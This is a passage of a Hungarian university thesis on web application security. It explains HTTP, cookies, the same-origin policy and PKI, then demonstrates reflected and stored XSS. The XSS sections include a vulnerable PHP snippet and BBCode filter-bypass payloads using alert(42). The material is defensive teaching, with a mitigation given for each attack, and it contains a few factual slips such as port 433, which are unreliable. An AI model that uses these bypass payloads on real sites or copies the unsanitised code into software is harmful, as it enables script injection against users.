web alkalmazasok biztonsága

110
Eötvös Loránd Tudományegyetem Informatikai Kar Média- és Oktatásinformatikai Tanszék Web-alkalmazások biztonsága Abonyi-Tóth Andor egyetemi tanársegéd, PhD hallgató Györkő Péter nappali tagozat, programtervező matematikus

Upload: gyoerko-peter

Post on 25-Jun-2015

942 views

Category:

Documents


2 download

TRANSCRIPT

Page 1: Web Alkalmazasok Biztonsága

Eötvös Loránd Tudományegyetem

Informatikai Kar

Média- és Oktatásinformatikai Tanszék

Web-alkalmazások biztonsága

Abonyi-Tóth Andor

egyetemi tanársegéd, PhD hallgató

Györkő Péter

nappali tagozat, programtervező

matematikus

Budapest, 2010

Page 2: Web Alkalmazasok Biztonsága

Tartalomjegyzék

1. Bevezetés.............................................................................................................................5

2. Technikai alapfogalmak.......................................................................................................7

2.1. Alapfogalmak............................................................................................................7

2.2. A böngésző működése...............................................................................................8

2.3. Névszerverek.............................................................................................................9

2.4. HTTP (Hypertext Transfer Protocol)......................................................................10

2.4.1. HTTP „süti” (cookie)....................................................................................11

2.4.2. Keepalive......................................................................................................12

2.5. JavaScript................................................................................................................12

2.5.1. Same origin policy........................................................................................13

2.6. Hypertext Transfer Protocol Secure (HTTPS)........................................................14

2.7. Publikus Kulcs Infrastruktúra (Public Key Infrastructure).....................................15

2.7.1. Tanúsítvány kiadók (Certification Authority)...............................................16

2.8. PKI működése a HTTPS-t használó web-kiszolgálók esetében.............................17

2.9. Kliens-oldali tanúsítványok....................................................................................17

3. Támadások.........................................................................................................................18

3.1. XSS (Cross-site scripting) [56]...............................................................................18

3.1.1. Nem perzisztens (Non-persistent or reflected) XSS.....................................18

3.1.2. Perzisztens vagy tárolt XSS (Persistent or stored XSS)...............................22

Page 3: Web Alkalmazasok Biztonsága

3.2. BBCode-ok és perzisztens XSS..............................................................................23

3.3. Visszaélés az XSS-sel..............................................................................................25

3.3.1. Adatlopás.......................................................................................................26

3.3.2. Áldozat nevében történő cselekvés...............................................................27

3.3.3. XSS Wormok................................................................................................29

3.3.4. Böngésző exploit...........................................................................................30

3.4. Karakterkódolásos XSS..........................................................................................30

3.5. Speciális karakterek használata a JavaScriptben.....................................................31

3.6. Kliens-oldali kódinjektálás (Client-side code injection).........................................32

3.7. Külső JavaSript fájl betöltése..................................................................................35

3.8. Cross Site Script Inclusion (XSSI)..........................................................................36

3.9. XSRF (Cross-site request forgery)..........................................................................41

3.10. SQL injektálás (SQL injection).............................................................................43

3.11. Path or directory traversal.....................................................................................48

3.12. PHP include sebezhetőség.....................................................................................49

3.13. A feltöltött fájlok veszélyei...................................................................................52

3.14. Előzmények stíluslapokból...................................................................................55

3.15. DNS gyorsítótár mérgezés (DNS cache poisoning)..............................................56

4. Demonstrációs program....................................................................................................61

4.1. Felhasználói dokumentáció.....................................................................................61

Page 4: Web Alkalmazasok Biztonsága

4.2. Fejlesztői dokumentáció..........................................................................................62

5. Összegzés..........................................................................................................................63

6. Hivatkozások.....................................................................................................................65

Page 5: Web Alkalmazasok Biztonsága

1. Bevezetés

Az internetet használók száma folyamatosan nő. Míg 2000 márciusában mindössze

304 millió felhasználó érte el a világhálót, addig ez a szám 2009 decemberére 1802 millióra

nőtt [1], vagyis a Föld lakosságának több mint egynegyede rendelkezik internet-

hozzáféréssel. Ezzel a növekedéssel párhuzamosan a világháló nyújtotta lehetőségek

tárháza is bővül. Napjainkban egyre jellemzőbb, hogy a legtöbb általunk használt

alkalmazást - melynek futtatásához korábban különböző szoftverek használatára volt

szükség - kiválthatunk egy a weben, a böngészőben fellelhető alternatívával. Ez sok

szempontból egyszerűbbé teszi a felhasználók életét, hisz nincs szükségük arra, hogy

telepítsék, frissítsék és karbantartsák az általuk használt programokat, mindössze egy web-

lap címét és a hozzá tartozó felhasználói fiókjukat kell ismerniük. Ennek birtokában bárhol

és bármikor hozzáférhetnek az alkalmazás által tárolt információkhoz, illetve mentesülnek a

biztonsági mentések készítésének nehézségeitől is, ami nagy kényelmet és szabadságot

jelent számukra. A fentiekben ismertetett megoldást a szakirodalom cloud computingnak [2]

nevezi.

A felhasználó számára nyújtotta lehetőségek azonban felvetnek bizonyos biztonsági

és titoktartási kérdéseket, hisz ezen alkalmazások egy távoli szerveren futnak, felhasználva

a személyes adataikat. Amennyiben ezek rossz kezekbe kerülnek, sérülhetnek személyiségi

jogaink, illetve visszaélésekre adnak lehetőséget.

Ilyen alkalmazás lehet egy közösségi oldal (social network) [3] által nyújtott

szolgáltatás, egy dokumentumszerkesztő, vagy akár egy interneten használható online banki

szolgáltatás, esetleg egy web-áruház. Ebből következően nem csak a személyes adatok

védelme, de az anyagi javak biztonságos kezelése is ezen szolgáltatások feladata.

5

Page 6: Web Alkalmazasok Biztonsága

Jelen diplomamunka célja, hogy segítséget nyújtson az ilyen rendszereket tervezők

számára, hogy az irányelveket betartva megbízható és minőségi szoftvert készíthessenek.

Mindezekhez azonban szükség van arra, hogy ismerjük az internet adta lehetőségeket,

kihívásokat és a támadási módszereket, hiszen ezek nélkül nem vagyunk képesek

megvédeni a szolgáltatást az illetéktelen hozzáféréstől.

A továbbiakban bemutatott módszerek és támadások azt a célt szolgálják, hogy

jobban megértsük a web-alkalmazásokat [4] érintő sebezhetőségek elvét, módszertanát,

ezzel segítve a hatékonyabb védekezést ellenük.

Mivel a témában fellelhető szakirodalom nagyobbrészt angol nyelvű, így a mélyebb

tájékoztatás kedvéért zárójelben közlöm a kifejezések angol nyelvű megfelelőjét.

Diplomamunkám írásakor arra törekedtem, hogy ahol csak tehetem, magyar kifejezéseket

használjak a fogalmak megjelölésére, erre azonban magyar szakszavak hiányában

esetenként nem volt lehetőségem. Ahogy az a későbbiekben látható lesz, ezeken a helyeken

igyekeztem találó magyar kifejezések hiányában körülírni az adott jelenséget, és csak ezt

követően közölni a széles körben elterjedt és elfogadott angol szakszót.

A még jobb érthetőség és a téma iránt mélyebben érdeklődők kedvéért számos

hivatkozással láttam el diplomamunkám, így az Olvasó az esetlegesen felmerülő további

kérdéseire könnyedén választ kaphat ezek segítségével.

6

Page 7: Web Alkalmazasok Biztonsága

2. Technikai alapfogalmak

A továbbiakban az OSI modell (Open System Interconnection Reference Model) [5]

szerinti Alkalmazás réteggel (Application layer) [6] kívánok foglalkozni, az ez alatti

rétegeket érintő támadások túlmutatnak jelen diplomamunka keretein.

2.1. Alapfogalmak

Ahhoz, hogy a biztonsági kérdéseket tisztázni tudjuk, szükség van arra, hogy az

alapvető fogalmakat ismerjük a weben futtatott alkalmazások működése kapcsán. Az

alábbiakban ezen fogalmakat ismertetem.

A weben futó alkalmazások a klasszikus kliens-szerver modell (client-server model)

[7] alapján épülnek fel:

Kliens-oldal: A felhasználó böngészőjében, vagy annak egy beépülő moduljában

(pl.: Adobe Flash Player [8], Microsoft Silverlight [9]) fut az alkalmazás e része.

Elsődleges célja, hogy – általában grafikus - felületet biztosítson a felhasználó és a

szolgáltatás között. Megjegyezendő, hogy napjainkban szerepe egyre fontosabbá

válik, hiszen a program egyre nagyobb része fut a böngészőben, mely lehetővé teszi

a gyorsabb, látványosabb és interaktívabb alkalmazások készítését. Ezeket vastag

klienseknek (fat or thick client) [10] hívjuk, melyek akár hardveres gyorsítással

(hardware acceleration) [11] támogatott 3 dimenziós megjelenítésre is képesek

lehetnek, mint például a Google által fejlesztett O3D API [12].

7

Page 8: Web Alkalmazasok Biztonsága

Szerver-oldal: A fejlesztő által üzemeltetett és karban tartott web-szerveren [13]

futó kód, mely a legtöbb esetben egy relációs adatbázishoz (relational database)

[14] is hozzáfér. Ennek a biztonsága kulcsfontosságú, hiszen ha egy támadó

hozzáfér az itt tárolt adatokhoz, akkor akár az összes felhasználóról is megszerezheti

a személyes információkat.

Jelentős különbség a kliens és szerver oldal között, hogy míg a program szerver

oldali része az üzemeltető gépén – változtatás nélkül – fut, addig a kliens-oldali részt egy

rosszindulatú támadó képes megváltoztatni, ezáltal olyan adatokat továbbítva a szervernek,

melyek normál működés mellett nem fordulhatnának elő. A szervernek ezért alkalmasnak

kell lennie arra, hogy az ilyen érvénytelen adatok (invalid data) esetén is – a lehetőségekhez

képest – megfelelően működjön, és semmilyen körülmények között se nyújtson olyan

szolgáltatást, amelyhez a kliensnek nincs jogosultsága.

2.2. A böngésző működése

Ebben a fejezetben azt ismertetem, milyen háttérben zajló folyamatok szükségesek

ahhoz, hogy böngésző (browser) [15] címsorába beírt web-címhez tartozó oldal

megjelenhessen. Ennek a részletes ismerete elengedhetetlen ahhoz, hogy megfelelő

minőségű szoftvert tudjunk tervezni.

8

Page 9: Web Alkalmazasok Biztonsága

A böngésző először a kapott URL (Uniform Resource Locator) [16] alapján

meghatározza a kért domain nevet [17]. Ezután a névszerverekhez (Domain Dame System)

[18] fordul, hogy megtudja a domain-hez tartozó számítógép IP-címét (Internet Protocol-

cím) [19]. Ez a cím egy 32 bites egész szám, amelyeket hagyományosan négy darab egy

byte-os, azaz 0 és 255 közé eső, ponttal elválasztott decimális számmal írunk le a könnyebb

olvashatóság kedvéért (pl.: 192.168.42.1).

Az IP-cím egyértelműen azonosítja a célgépet, így az azon futó web-szervernek

elküldhetjük a kérdéses web-oldal címét, a később ismertetett HTTP protokoll segítségével.

Ezután a szerveroldalon futó alkalmazás legenerálja számunkra az oldal HTML (HyperText

Markup Language) [20] forrását, melyet a böngészőnk értelmez, majd megjeleníti a kért

web-lapot. Sok esetben a HTML forrás tartalmaz néhány külső hivatkozást képekre,

beágyazott videókra, stíluslapokra (Cascading Style Sheets) [21], JavaScript fájlra,

melyekre szintén szükség van a web-oldal megjelenítéséhez.

2.3. Névszerverek

A névszerverek feladata, hogy biztosítsák a domain címek 8 bájtos IP-címekhez való

hozzárendelését. Mindehhez egy hierarchikus rendszert vezettek be, melynek a legfelső

rétege (Top-Level-Domain) [22] a domain cím legjobboldalibb részének feloldásáért felel.

Erre az infrastruktúrára azért van szükség, mert a felhasználók számára az IP címek ugyan-

olyan nehezen jegyezhetőek meg, mint a telefonszámok. Ezt a problémát hidalja át a

névszerver azzal, hogy tartalmaz egy adatbázist, melyben az általa ismert domain nevekhez

tartozó IP-címeket tartja nyilván. Amikor egy kérés érkezik hozzá, ellenőrzi, hogy szerepel-

e ebben az adatbázisban a kérdéses domain. Ha igen, akkor visszaküldi azt, ellenkező

esetben megkérdezi a felette álló névszervert, majd továbbítja az információt.

9

Page 10: Web Alkalmazasok Biztonsága

A megoldás biztonsági szempontból legkifogásolhatóbb pontja, hogy amikor egy

névszerver megad egy IP-címet, akkor semmilyen módon nem hitelesíti magát, így a

támadónak lehetősége van arra, hogy hibás címre navigálja a potenciális áldozatot. Erre a

problémára próbál megoldást adni a biztonsági kiegészítés (Domain Name System Security

Extensions) [23], ami a későbbiekben ismertetett publikus kulcsú infrastruktúrát használja,

mely során a DNS szerver digitálisan aláírja a válaszát.

2.4. HTTP (Hypertext Transfer Protocol)

A kliens és szerver kommunikációja a legtöbb esetben HTTP [24] (RFC 2616) vagy

HTTPS (Hypertext Transfer Protocol Secure) [25] protokollon keresztül történik, a 80-as

vagy a 433-as port felhasználásával. Ez lehetőséget biztosít a szöveg alapú adatok (pl.:

HTML, CSS), illetve a bináris adatok [26] (pl.: álló- és mozgóképek) mindkét irányba

történő továbbítására. Ez utóbbi úgy valósul meg, hogy az adatokat először base64 [27]

formátumúra kódolja, melynek hatására csak olvasható karaktereket (printable characters)

[28] fog tartalmazni, ezért a HTTP protokoll az ember számára is könnyen olvasható

(human readable) [29]. Ennek a módszernek a hátránya, hogy ilyen esetben a küldendő adat

mérete 33%-kal megnő, mely többletköltséget jelenthet a küldő és a hálózat számára.

A protokoll a nyugtákat (acknowledgement) tartalmazó TCP (Transmission Control

Protocol) [30] kapcsolatra épül, vagyis értesülhetünk róla, ha egy kapcsolat létrehozása

nem sikerült. Az SMTP-hez (Simple Mail Transfer Protocol) [31] (RFC 821) hasonló

módon a fejlécben szintén kulcs-érték párok (key-value pairs) szerepelnek, melyek között

kettőspont található, a párokat pedig sorvége (<LF>, Line Feed) [32] határolja. Ennek a

végét egy „kocsi vissza” (<CR>, Carrage Return) [33] és egy sorvége karakter jelzi, melyet

a válasz törzse (response body) követ.

10

Page 11: Web Alkalmazasok Biztonsága

A HTTP rendelkezik előre definiált állapot azonosítókkal is (status code) [34],

melyek a könnyebb feldolgozhatóságot segítik. Ezek közül a leggyakrabban használtak a

következők:

200 OK – A kérés sikeresen lefutott

301 Moved Permanently – A kért URL megváltozott

400 Bad Request – A kérés szintaktikai hibát tartalmazott

404 Not found – A kért URL nem található

500 Internal Server Error – A szerveren belső hiba történt

530 User access denied – Hozzáférés megtagadva

2.4.1. HTTP „süti” (cookie)

A HTTP protokoll nem képes két különböző kérésről eldönteni, hogy azok azonos

felhasználótól érkeztek-e. A gyakorlatban azonban sokszor szükség van arra, hogy egy

felhasználó állapotát és munkamenetét követni tudjuk. Erre szolgál megoldásként a HTTP

süti [35].

A sütik egy adott domain-hez tartozó, karakterlánc (string) alapú kulcs-érték párok

(key-value pairs). Amennyiben egy ilyen sütit beállít a szerver, akkor azt – annak lejárati

idejéig – a böngésző minden egyes HTTP kérés során visszaküldi a kiszolgálónak, ezzel

lehetővé téve a felhasználó azonosítását. Fontos megjegyezni, hogy a sütik küldése

kizárólag a célgép domain-jétől függ, és az nem befolyásolja, hogy a kérés honnan érkezett.

11

Page 12: Web Alkalmazasok Biztonsága

2.4.2. Keepalive

A kapcsolatot minden esetben a kliens kezdeményezi, mely azt jelenti, hogyha a

szerver szeretne valamilyen új információt megosztani a klienssel, akkor meg kell várnia,

míg a kliens kapcsolatot kezdeményez vele. Erre szolgál egy lehetséges megoldásként a

Keepalive [36] (RFC 1132) technológia. Ezt használva lehetőségünk nyílik arra, hogy egy

kiépült kapcsolatot hosszabb ideig is fenntartsunk a kliens és a szerver között. Ez azokban

az esetekben lehet fontos, amikor egy kliens-oldali alkalmazásnak szükséges, hogy egy

szerveren lévő adatot azonnal megkapjon, mint pl. az azonnali üzenetküldő alkalmazások

(instant messaging) [37] esetében. Ezt a HTTP fejlécbe tett alábbi kulcs-érték párral jelzik:

Connection: Keep-Alive

2.5. JavaScript

A JavaScript [38] a Java szintaktikáján alapuló, a böngésző által értelmezett és

feldolgozott programozási nyelv. Előnye, hogy a többi script nyelvhez hasonlóan nem

tartalmaz szigorú megkötéseket a típusokra nézve. Mivel magas szintű, így lehetővé teszi a

gyors és hatékony alkalmazásfejlesztést.

Egy JavaScript program lehet egy külön fájlban, vagy akár magában a HTML

forrásban is. Képes írni és olvasni a HTML-t, sütiket, címsort és a státuszbárt (status bar)

[39], valamint lehetőséget biztosít bizonyos rendszerhívásokra (system call) [40] is.

12

Page 13: Web Alkalmazasok Biztonsága

2.5.1. Same origin policy

Ahhoz, hogy megértsük a későbbiekben ismertetett támadási módszereket, tisztában

kell lennünk azzal, hogy a böngésző milyen módon próbálja biztosítani a felhasználók

védelmét.

A böngészők egyik legfontosabb alapelve, hogy egy web-oldalról letöltött és

interpretált JavaScript kód csak a saját domain-jéhez tartozó böngésző sütiket és HTML

dokumentumot (HTML-DOM) [41] tudja írni és olvasni, függetlenül attól, hány

böngészőablak vagy böngészőfül (tab) van nyitva egy időben. Ezek bizonyos esetben (pl.:

Google Chrome [42]) egy-egy külön szeparált környezetben (sandbox) futnak, ezzel

növelve a biztonságot.

Ehhez hasonlóan, egy domain-en futó JavaScript sem intézhet egy másik domain-

hez távoli kérést (RPC, Remote Procedure Call) [43]. Amennyiben ilyennel próbálkozunk,

a böngésző kivételt (exception) [44] fog dobni.

A JavaScript forráskód nem csak HTML-be ágyazva képezheti az oldal részét,

hanem külső hivatkozás is mutathat rá:

13

Page 14: Web Alkalmazasok Biztonsága

<head>

<script type="text/javascript">

// Ez egy HTML-be ágyazott JavaScript

alert("Helló Világ!");

</script>

<!-- Ez pedig egy külső JavaScript fájl -->

<script type="text/javascript"

src="http://masik.domain.hu/kulso.js">

</script>

</head>

Azt gondolhatnánk, hogy a fenti példában szereplő kulso.js fájlban lévő funkció

nem fér hozzá az aktuális DOM-hoz, de ez nem így van. Minden JavaScript annak a

domain-nek a jogosultságával fut, ami őt beágyazta, függetlenül attól, hogy milyen domain-

ről származik.

2.6. Hypertext Transfer Protocol Secure (HTTPS)

A HTTPS alapvető feladata, hogy egy biztonságos csatornát képezzen egy nem

biztonságos hálózat felett. Célja, hogy lehetetlenné tegye az adatok lehallgatását

(eavesdropping) [45], a harmadik fél által módosított adatokból fakadó támadásokat (man-

in-the-middle attack) [46], illetve a visszajátszás alapú (replay attack) [47] visszaéléseket.

14

Page 15: Web Alkalmazasok Biztonsága

Ezt úgy éri el, hogy felhasználja az SSL/TLS (Secure Socket Layer/Transport Layer

Security) [48] kriptográfiai eljárást, mely az RSA (Rivest, Shamir and Adleman) [49] 1024

és 2048 bites változatára épül. Ez lehetőséget biztosít arra, hogy a PKI (Public Key

Infrasctructure) [50] rendszert használva X.509 tanúsítvánnyal (certificate) [51] alá tudja

írni az adatokat a szerver, ezzel hitelesítve önmagát a kommunikációs partnere számára.

Ezen felül az SSL lehetővé teszi azt is, hogy a hálózati forgalmat se lehallgatni, se

módosítani ne lehessen a felek tudta nélkül.

További fontos információ, hogy amennyiben a kapcsolat kiépülésekor Diffie-

Hellman kulcscserét (Diffie-Hellman key exchange) [52] alkalmazunk, úgy a lehallgatott

forgalom visszafejtése még a privát kulcsok kompromittálódása után sem lehetséges. Ez azt

jelenti, hogyha egy biztonságos kapcsolatot használó web-szerver privát kulcsa illetéktelen

kezekbe kerül, akkor sem fejthetők vissza a kapcsolaton átmenő jelszavak és személyes

adatok.

2.7. Publikus Kulcs Infrastruktúra (Public Key Infrastructure)

Célja, hogy egy központi rendszert szolgáltasson a digitális aláírások tárolásának,

kiadásának és ellenőrzésének. Erre azért van szükség, hogy biztosak lehessünk abban, hogy

a böngésző által kapott adatokat valóban a kérdéses web-oldalt kiszolgáló szerver küldte el

számunkra. A folyamat megértéséhez tisztában kell lennünk a benne részt vevő

szereplőkkel, melyek közül kiemelném a legfontosabbakat, a tanúsítvány kiadókat.

15

Page 16: Web Alkalmazasok Biztonsága

2.7.1. Tanúsítvány kiadók (Certification Authority)

A tanúsítvány kiadók [53] (továbbiakban CA) a publikus kulcsú infrastruktúra

alapját képezik. Feladatuk az alábbi négy alapfunkcionalitást foglalja magában:

Tanúsítványokat állítanak ki az általuk megbízható szervezetekről, illetve más CA-

król

Nyilvántartják a tanúsítványok állapotát és tanúsítvány visszavonási listákat

készítenek (certificate revocation list) [54], melyek egyfajta feketelistaként

funkcionálnak

Nyilvánosságra hozzák az érvényes tanúsítványokat, valamint a visszavonási

listákat

Státuszinformációs adatbázist tartanak fenn az általuk kiadott, de már nem érvényes

tanúsítványokról

Tanúsítványt egy felhasználó, egy szervezet, vagy akár egy másik CA számára is

kiállíthatnak. Ebben az esetben igazolják azt, hogy a tanúsítvány alanya (személy, szervezet

vagy alkalmazás) rendelkezik a tanúsítvány publikus kulcsához tartozó privát kulccsal.

Amennyiben az alany egy másik CA, akkor az igazolás azt jelenti, hogy a másik

tanúsítványkiadó szervezet által kiadott tanúsítványok is megbízhatóak.

A nyilvánosságra hozott érvényes tanúsítványokat tartalmazó, valamint a visszavont

tanúsítványokat tartalmazó listákat a CA a saját privát kulcsával írja alá.

16

Page 17: Web Alkalmazasok Biztonsága

2.8. PKI működése a HTTPS-t használó web-kiszolgálók esetében

Amikor a böngésző címsorába beírunk egy https:// kezdetű címet, akkor az

megpróbál a névből – a DNS segítségével - kiderített IP-hez tartozó 443-as portra

kapcsolódni. Ekkor a szervernek kötelessége megmutatni egy olyan tanúsítványt, ami ahhoz

a domain-hez rendelt, és egy CA által aláírt. Ezután a böngésző ellenőrzi, hogy ez a CA

megegyezik-e azzal, aminek a publikus kulcsa szerepel a belső adatbázisában. Amennyiben

nem, úgy lekérdezi a kapott CA-t hitelesítő CA címét, és rekurzívan folytatja az eljárást.

Ezzel véges sok lépésben el kell jutnia egy olyan CA-hoz, aminek ismeri a publikus kulcsát,

ellenkező esetben nem bízhat meg a kapott tanúsítvány hitelességében, melyről egy hiba

üzenetben tájékoztatja a felhasználót.

Ennek a procedúrának a célja az, hogyha egy rosszindulatú támadó elfogja az

áldozat által küldött kéréseket, akkor nem tud úgy viselkedni, mintha ő lenne a szerver,

hiszen nem tudja aláírni megfelelő tanúsítvánnyal a válaszait.

2.9. Kliens-oldali tanúsítványok

A PKI rendszer kliens-oldali autentikációhoz is használható, mely segítségével

korlátozhatjuk a felhasználók különböző tartalmakhoz való hozzáférését. Ebből a célból

általában a rendszer-adminisztrátorok készítenek egy tanúsítványt minden egyes

felhasználónak, melyet importálniuk kell a böngészőjükbe. Ez tartalmazza a nevüket és az

e-mail címüket, így a szerver minden egyes szerverhez intézett kérés esetén ellenőrizheti a

felhasználó identitását anélkül, hogy a felhasználónak meg kellene adnia a jelszavát, vagy

egyéb módon igazolnia kéne magát.

17

Page 18: Web Alkalmazasok Biztonsága

3. Támadások

Ezen fejezet a teljesség igénye nélkül mutat be olyan támadási módszereket, melyek

alkalmasak a valós környezetben történő alkalmazásra. Fontos kiemelni, hogy a felsorolt

megoldások ismertetésének célja, hogy hatékonyabban tudjunk a támadásokkal szemben

védekezni.

A bemutatott kliens-oldali forráskódok JavaScript, a szerver oldaliak PHP (PHP

Hypertext Preprocessor) [55] nyelven íródtak, de természetesen egyéb nyelvekre is

könnyedén adaptálhatóak.

3.1. XSS (Cross-site scripting) [56]

Napjaink talán legismertebb kliens-oldali támadása. A működése nagyon egyszerű: a

támadó eléri azt, hogy az áldozat böngészője értelmezzen egy általa írt programkódot, mely

segítségével ellophatja a felhasználói fiókját, vagy megszerezhet tőle személyes adatokat.

3.1.1. Nem perzisztens (Non-persistent or reflected) XSS

Ezen sebezhetőség akkor használható ki, amikor a szerver-oldal a HTTP kérésben

kapott paramétereket – módosítás nélkül – felhasználja a válaszként küldött web-oldal

legenerálása során. Mivel az ilyen adatok a felhasználótól érkeznek GET vagy POST

metódus segítségével, így szükség van ezek ellenőrzésére és tisztítására (sanitize).

18

Page 19: Web Alkalmazasok Biztonsága

Mivel a HTML nyelv a tartalmon kívül bizonyos formázásokat és eseménykezelést

is tartalmaz, ezért a nem megfelelően ellenőrzött, a támadótól érkező adatok a web-oldal

részévé is válhatnak. Erre a leghétköznapibb példa egy keresőmotor: amikor a felhasználó

próbál megtalálni egy kifejezést, akkor a találatokat tartalmazó lista tetején szerepel a

keresett kifejezés. Ha ebből a szövegrészből nincs megfelelően eltávolítva az összes HTML

vezérlőkarakter, akkor nem perzisztens XSS sebezhetőségről beszélhetünk.

Ez a típus a kevésbé veszélyes hibák közé sorolható, ám mindezek ellenére elég

komoly kockázatot rejt, melyet az alábbi példa szemléltet:

A támadó küld egy levelet a potenciális áldozatnak, melybe az alábbi hivatkozást

helyezi el:

http://www.pelda.hu/?keres=<script>alert(42);</script>

Tegyük fel, hogy a pelda.hu amennyiben keres kulcsú GET paramétert kap, úgy

megjeleníti a keresendő kifejezést, majd a találatokat. Ennek a funkciónak a szerver-oldali

része az alábbiak szerint néz ki:

19

Page 20: Web Alkalmazasok Biztonsága

if (isset($_GET['keres']))

{

// Jelenítsük meg a keresett kifejezést a

találati lista tetején

print "Keresett tartalom: " . $_GET['keres'] .

"<br/>";

...

}

Abban az esetben, ha a potenciális áldozat elnavigál a kapott linkre, akkor a

böngészője a következő HTML forrást fogja értelmezni:

Keresett tartalom: <script>alert(42);</script>

Ez tartalmaz egy <script> elemet, mely tartalmát a böngésző JavaScript

forráskódként értelmez, és végrehajtja azt. Ennek eredményeképpen egy új

dialógusablakban megjelenik a 42-es szám:

1. ábra: Dialógusablakban megjelenő üzenet

20

Page 21: Web Alkalmazasok Biztonsága

A nem perzisztens XSS-sel szemben legkönnyebben úgy védekezhetünk, ha minden

külső adatot megfelelően szűrünk (validation) [57], vagyis bizonyos karaktereket nem

engedünk meg benne. Ennek a hátránya, hogy így bizonyos – nem rossz-szándékú –

speciális kereső-kifejezések elveszhetnek, ezzel a felhasználói élmény (user experience)

[58] csökkenhet.

Némileg jobb megoldás, ha azokat a karaktereket, melyek problémát okozhatnak,

egyszerűen lecseréljük a HTML-es megfelelőjükre. Ennek előnye, hogy nincsenek

korlátozva a felhasználó által alkalmazható karakterek, mégsem képes kód futtatására a

támadó. Ezt PHP használata esetében legegyszerűbben a htmlentities() [59]

függvény segítségével tehetjük meg.

A következő táblázat a lecserélendő karaktereket írja le:

Lecserélendő karakter HTML megfelelője

< &lt;

> &gt;

& &amp;

” &quot;

' &#039;

21

Page 22: Web Alkalmazasok Biztonsága

3.1.2. Perzisztens vagy tárolt XSS (Persistent or stored XSS)

A perzisztens vagy tárolt (stored) XSS esetében a támadónak nincs szüksége arra,

hogy rávegye a potenciális áldozatot egy speciálisan preparált web-cím megnyitására,

elegendő egy sebezhető web-oldalt találnia. A módszer alapötlete, hogy rosszindulatú

JavaScript forráskódot juttassunk be a szerverre, és elérjük, hogy ezt adja ki a web-oldalra

látogató felhasználóknak. Ebben az esetben akár az összes látogató érintett lehet, sőt, a

rosszindulatú kód ezáltal tovább is terjesztheti önmagát. Erről részletesebben a wormokról

szóló fejezetben (lásd: 3.3.3 XSS Wormok) írok.

Az ilyen típusú sebezhetőségre általában olyan funkciók esetében van lehetőség,

melyekben a felhasználók közölhetnek egymással információkat, mint például egy blog

(web log) kommentárjainál, vagy egy fórum illetve egy vendégkönyv hozzászólásainál.

Amennyiben a beírt szöveg nincs megfelelően szűrve, úgy a támadó könnyen létrehozhat

olyan bejegyzést, mellyel az összes kommentárt olvasó felhasználót megfertőzheti.

Lássunk egy ilyen hozzászólást:

Teszt hozzászólás

<script type="text/javascript">alert(42);</script>

Ennek eredménye, hogy – a korábbiakhoz hasonlóan – egy felugró dialógusablak

lesz az olvasó gépén. Ez a típusú biztonsági hiba azért veszélyesebb a korábban bemutatott

nem perzisztens XSS-nél, mert nem igényel az áldozattól semmilyen interakciót, így

tulajdonképpen észrevehetetlen a felhasználó számára.

Védekezni ellene csak a szerver-oldalon lehet a – előzőekben ismertetett – speciális

karakterek kicserélésével.

22

Page 23: Web Alkalmazasok Biztonsága

3.2. BBCode-ok és perzisztens XSS

Néhány web-oldal speciális formázási lehetőségeket biztosít a hozzászólóknak,

mellyel bizonyos alapvető módosításokat lehet a beírt szövegen elvégezni. Ezek

segítségével a felhasználó készíthet linkeket, beágyazhat képeket vagy videókat, illetve

lehetősége van arra is, hogy a szövegen néhány alapvető formázást elvégezzen. Ezen

funkciók használatához mindössze arra van szükség, hogy néhány előre meghatározott

speciális jelzést használjon, melyeket BBCode-nak [60] hívnak. A web-oldalt működtető

motor – általában a megjelenítéskor – lecseréli ezeket a jeleket a megfelelő HTML

elemekre. Természetesen HTML vezérlő karaktereket (<, >, &, ', ”) – a korábban ismertetett

módon – átalakítja HTML entitásokra (HTML entity), így védve meg az oldalt a nem

kívánatos kódtól.

Egy felkészültebb támadó sok esetben ezt is képes megkerülni, amennyiben a

funkció nincs megfelelően implementálva.

Tételezzük fel, hogy engedélyezett a felhasználó számára, hogy az alábbi szintaktika

segítségével linkeket ágyazzon a hozzászólásába:

[url=http://www.pelda.hu]Példa[/url]

Miután a motor átalakítja ezt HTML formátumúra, az alábbi hivatkozás fog

szerepelni a hozzászólásában:

<a href="http://www.pelda.hu">Példa</a>

23

Page 24: Web Alkalmazasok Biztonsága

Ha a támadó máshogy paraméterezi fel a hivatkozást, akkor azzal képes lehet

bizonyos – az XSS-hez nagyon hasonló – támadást végrehajtani:

[url=javascript:alert(42)]Példa[/url]

Ha nincs letiltva a „javascript:” prefix, akkor egy olyan linket kapunk, melyre

kattintva lefut a beágyazott JavaScript, és felugrik az ablak:

<a href="javascript:alert(42)">Példa</a>

Tételezzük fel, hogy prefix alapján szűrtek a hivatkozások. Ilyen esetben a támadó

megpróbálkozhat az alábbival:

[url=#" onclick="alert(42);]Példa[/url]

A HTML forrás ilyenkor egy úgynevezett „inline” eseménykezelőt tartalmaz. Ez azt

jelenti, hogy amikor egy potenciális áldozat rákattint a linkre, akkor abban definiált

onclick esemény kerül végrehajtásra:

<a href="#" onclick="alert(42);">Példa</a>

Néha azzal kerülhető meg a védelem, hogy a támadó megfelelő módon egymásba

ágyaz BBCode-okat, hogy azok egymást semlegesítsék:

[url=#[url= onclick=alert(42) ]dummy[/url]]Példa[/url]

24

Page 25: Web Alkalmazasok Biztonsága

Ennek eredményeképpen ugyan hibákat fog tartalmazni a HTML forrás, de a

böngészők mindezek ellenére értelmezni fogják az onclick eseményt:

<a href="#<a href=" onclick=alert(42)

">dummy</a>">Példa</a>

Ilyen jellegű támadások ellen egy kellő körültekintéssel implementált BBCode

értelmezővel tudunk védekezni. Linkek esetében az egyik leghatásosabb megoldás, ha egy

megfelelő reguláris kifejezéssel validáljuk az URL-t, így elkerülhetjük a nemkívánatos

JavaScript utasításokat.

3.3. Visszaélés az XSS-sel

A korábbi példákban azzal szembesülhettünk, hogy a nem megfelelően felkészített

webes alkalmazások esetében lehetőség van arra, hogy a támadó az áldozat gépére egy

JavaScript kódot juttasson. Eddig azonban semmi kára nem származott belőle, csak

megjelent egy szöveget tartalmazó ablak. Természetesen egy valódi támadó ennyivel nem

éri be. Az ő célja, hogy adatot lopjon, hátsó kaput (backdoor) [61] nyisson a gyanútlan

felhasználó számítógépén, vagy rávegye az áldozatot olyan tevékenységre, amit

önszántából nem tenne meg.

25

Page 26: Web Alkalmazasok Biztonsága

3.3.1. Adatlopás

Az adatlopás során a támadó célja, hogy ellopja az áldozat identitását (felhasználói

fiókját), vagy olyan adatot, melyet megadott a regisztráció során, ám az nem látható mások

számára. Ilyen érzékeny adat (sensitive data) lehet a telefonszáma vagy levelezési címe.

